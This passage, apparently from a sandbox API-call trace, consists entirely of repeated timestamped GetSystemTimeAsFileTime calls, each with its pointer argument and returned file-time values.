lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b3a7730, dwHighDateTime=0x1d31ac1)) [0115.273] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b3a7730, dwHighDateTime=0x1d31ac1)) [0115.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b3a7730, dwHighDateTime=0x1d31ac1)) [0115.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b3a7730, dwHighDateTime=0x1d31ac1)) [0115.274] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b3a7730, dwHighDateTime=0x1d31ac1)) [0115.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b3cd890, dwHighDateTime=0x1d31ac1)) [0115.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b3cd890, dwHighDateTime=0x1d31ac1)) [0115.280] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b3cd890, dwHighDateTime=0x1d31ac1)) [0115.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b3cd890, dwHighDateTime=0x1d31ac1)) [0115.287] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b3cd890, dwHighDateTime=0x1d31ac1)) [0115.326] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b43fcb0, dwHighDateTime=0x1d31ac1)) [0115.327] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b43fcb0, dwHighDateTime=0x1d31ac1)) [0115.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b43fcb0, dwHighDateTime=0x1d31ac1)) [0115.333] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b43fcb0, dwHighDateTime=0x1d31ac1)) [0115.338] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b43fcb0, dwHighDateTime=0x1d31ac1)) [0115.340] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b465e10, dwHighDateTime=0x1d31ac1)) [0115.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b465e10, dwHighDateTime=0x1d31ac1)) [0115.346] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b465e10, dwHighDateTime=0x1d31ac1)) [0115.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b465e10, dwHighDateTime=0x1d31ac1)) [0115.352] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b465e10, dwHighDateTime=0x1d31ac1)) [0115.357] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b48bf70, dwHighDateTime=0x1d31ac1)) [0115.359] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b48bf70, dwHighDateTime=0x1d31ac1)) [0115.364] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b48bf70, dwHighDateTime=0x1d31ac1)) [0115.365] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b48bf70, dwHighDateTime=0x1d31ac1)) [0115.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b4d8230, dwHighDateTime=0x1d31ac1)) [0115.387] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b4d8230, dwHighDateTime=0x1d31ac1)) [0115.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b4d8230, dwHighDateTime=0x1d31ac1)) [0115.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b4d8230, dwHighDateTime=0x1d31ac1)) [0115.393] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b4d8230, dwHighDateTime=0x1d31ac1)) [0115.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b4d8230, dwHighDateTime=0x1d31ac1)) [0115.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b4d8230, dwHighDateTime=0x1d31ac1)) [0115.405] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b4fe390, dwHighDateTime=0x1d31ac1)) [0115.406] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b4fe390, dwHighDateTime=0x1d31ac1)) [0115.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b4fe390, dwHighDateTime=0x1d31ac1)) [0115.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b4fe390, dwHighDateTime=0x1d31ac1)) [0115.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b4fe390, dwHighDateTime=0x1d31ac1)) [0115.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b4fe390, dwHighDateTime=0x1d31ac1)) [0115.480] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b5bca70, dwHighDateTime=0x1d31ac1)) [0115.486] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b5bca70, dwHighDateTime=0x1d31ac1)) [0115.487] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b5bca70, dwHighDateTime=0x1d31ac1)) [0115.492] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b5bca70, dwHighDateTime=0x1d31ac1)) [0115.493] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b5bca70, dwHighDateTime=0x1d31ac1)) [0115.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b5e2bd0, dwHighDateTime=0x1d31ac1)) [0115.499] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b5e2bd0, dwHighDateTime=0x1d31ac1)) [0115.504] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e774 | out: lpSystemTimeAsFileTime=0x265e774*(dwLowDateTime=0x3b5e2bd0, dwHighDateTime=0x1d31ac1)) [0115.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b5e2bd0, dwHighDateTime=0x1d31ac1)) [0115.510] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b608d30, dwHighDateTime=0x1d31ac1)) [0115.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f728 | out: lpSystemTimeAsFileTime=0x265f728*(dwLowDateTime=0x3b608d30, dwHighDateTime=0x1d31ac1)) [0115.521] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b608d30, dwHighDateTime=0x1d31ac1)) [0115.522] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b608d30, dwHighDateTime=0x1d31ac1)) [0115.575] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b6a12b0, dwHighDateTime=0x1d31ac1)) [0115.576] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b6a12b0, dwHighDateTime=0x1d31ac1)) [0115.581] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b6a12b0, dwHighDateTime=0x1d31ac1)) [0115.582] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b6a12b0, dwHighDateTime=0x1d31ac1)) [0115.587] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b6a12b0, dwHighDateTime=0x1d31ac1)) [0115.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b6c7410, dwHighDateTime=0x1d31ac1)) [0115.594] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b6c7410, dwHighDateTime=0x1d31ac1)) [0115.595] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b6c7410, dwHighDateTime=0x1d31ac1)) [0115.600] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b6c7410, dwHighDateTime=0x1d31ac1)) [0115.601] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b6c7410, dwHighDateTime=0x1d31ac1)) [0115.606] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b6ed570, dwHighDateTime=0x1d31ac1)) [0115.607] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b6ed570, dwHighDateTime=0x1d31ac1)) [0115.612] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b6ed570, dwHighDateTime=0x1d31ac1)) [0115.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b6ed570, dwHighDateTime=0x1d31ac1)) [0115.618] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b6ed570, dwHighDateTime=0x1d31ac1)) [0115.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b6ed570, dwHighDateTime=0x1d31ac1)) [0115.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b6ed570, dwHighDateTime=0x1d31ac1)) [0115.702] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b7d1db0, dwHighDateTime=0x1d31ac1)) [0115.703] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b7d1db0, dwHighDateTime=0x1d31ac1)) [0115.708] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b7d1db0, dwHighDateTime=0x1d31ac1)) [0115.709] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b7d1db0, dwHighDateTime=0x1d31ac1)) [0115.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b7f7f10, dwHighDateTime=0x1d31ac1)) [0115.715] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b7f7f10, dwHighDateTime=0x1d31ac1)) [0115.720] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b7f7f10, dwHighDateTime=0x1d31ac1)) [0115.721] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b7f7f10, dwHighDateTime=0x1d31ac1)) [0115.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b7f7f10, dwHighDateTime=0x1d31ac1)) [0115.727] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b7f7f10, dwHighDateTime=0x1d31ac1)) [0115.733] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b81e070, dwHighDateTime=0x1d31ac1)) [0115.734] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b81e070, dwHighDateTime=0x1d31ac1)) [0115.739] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b81e070, dwHighDateTime=0x1d31ac1)) [0115.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b81e070, dwHighDateTime=0x1d31ac1)) [0115.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b94eb70, dwHighDateTime=0x1d31ac1)) [0115.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b94eb70, dwHighDateTime=0x1d31ac1)) [0115.856] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b94eb70, dwHighDateTime=0x1d31ac1)) [0115.862] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b94eb70, dwHighDateTime=0x1d31ac1)) [0115.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b94eb70, dwHighDateTime=0x1d31ac1)) [0115.863] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b94eb70, dwHighDateTime=0x1d31ac1)) [0115.868] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b94eb70, dwHighDateTime=0x1d31ac1)) [0115.869] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b974cd0, dwHighDateTime=0x1d31ac1)) [0115.876] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b974cd0, dwHighDateTime=0x1d31ac1)) [0115.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b974cd0, dwHighDateTime=0x1d31ac1)) [0115.882] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b974cd0, dwHighDateTime=0x1d31ac1)) [0115.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b974cd0, dwHighDateTime=0x1d31ac1)) [0115.883] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b974cd0, dwHighDateTime=0x1d31ac1)) [0115.888] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b99ae30, dwHighDateTime=0x1d31ac1)) [0115.889] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b99ae30, dwHighDateTime=0x1d31ac1)) [0115.894] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b99ae30, dwHighDateTime=0x1d31ac1)) [0115.895] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3b99ae30, dwHighDateTime=0x1d31ac1)) [0115.900] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3b99ae30, dwHighDateTime=0x1d31ac1)) [0115.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3baa57d0, dwHighDateTime=0x1d31ac1)) [0116.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3baa57d0, dwHighDateTime=0x1d31ac1)) [0116.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3baa57d0, dwHighDateTime=0x1d31ac1)) [0116.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3baa57d0, dwHighDateTime=0x1d31ac1)) [0116.006] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3baa57d0, dwHighDateTime=0x1d31ac1)) [0116.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3baa57d0, dwHighDateTime=0x1d31ac1)) [0116.012] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bacb930, dwHighDateTime=0x1d31ac1)) [0116.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bacb930, dwHighDateTime=0x1d31ac1)) [0116.018] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bacb930, dwHighDateTime=0x1d31ac1)) [0116.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bacb930, dwHighDateTime=0x1d31ac1)) [0116.019] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bacb930, dwHighDateTime=0x1d31ac1)) [0116.024] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bacb930, dwHighDateTime=0x1d31ac1)) [0116.026] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3baf1a90, dwHighDateTime=0x1d31ac1)) [0116.031] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3baf1a90, dwHighDateTime=0x1d31ac1)) [0116.032] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3baf1a90, dwHighDateTime=0x1d31ac1)) [0116.037] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3baf1a90, dwHighDateTime=0x1d31ac1)) [0116.038] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3baf1a90, dwHighDateTime=0x1d31ac1)) [0116.121] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bbd62d0, dwHighDateTime=0x1d31ac1)) [0116.122] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bbd62d0, dwHighDateTime=0x1d31ac1)) [0116.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bbd62d0, dwHighDateTime=0x1d31ac1)) [0116.128] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bbd62d0, dwHighDateTime=0x1d31ac1)) [0116.133] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bbd62d0, dwHighDateTime=0x1d31ac1)) [0116.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bbfc430, dwHighDateTime=0x1d31ac1)) [0116.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bbfc430, dwHighDateTime=0x1d31ac1)) [0116.140] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bbfc430, dwHighDateTime=0x1d31ac1)) [0116.145] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bbfc430, dwHighDateTime=0x1d31ac1)) [0116.146] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bbfc430, dwHighDateTime=0x1d31ac1)) [0116.151] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bc22590, dwHighDateTime=0x1d31ac1)) [0116.152] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bc22590, dwHighDateTime=0x1d31ac1)) [0116.157] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bc22590, dwHighDateTime=0x1d31ac1)) [0116.158] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bc22590, dwHighDateTime=0x1d31ac1)) [0116.163] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bc22590, dwHighDateTime=0x1d31ac1)) [0116.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bc22590, dwHighDateTime=0x1d31ac1)) [0116.212] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bcbab10, dwHighDateTime=0x1d31ac1)) [0116.213] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bcbab10, dwHighDateTime=0x1d31ac1)) [0116.218] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bcbab10, dwHighDateTime=0x1d31ac1)) [0116.219] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bcbab10, dwHighDateTime=0x1d31ac1)) [0116.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bcbab10, dwHighDateTime=0x1d31ac1)) [0116.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bcbab10, dwHighDateTime=0x1d31ac1)) [0116.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bce0c70, dwHighDateTime=0x1d31ac1)) [0116.231] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: lpSystemTimeAsFileTime=0x265f730*(dwLowDateTime=0x3bce0c70, dwHighDateTime=0x1d31ac1)) [0116.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265e77c | out: lpSystemTimeAsFileTime=0x265e77c*(dwLowDateTime=0x3bce0c70, dwHighDateTime=0x1d31ac1)) [0116.237] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x265f730 | out: 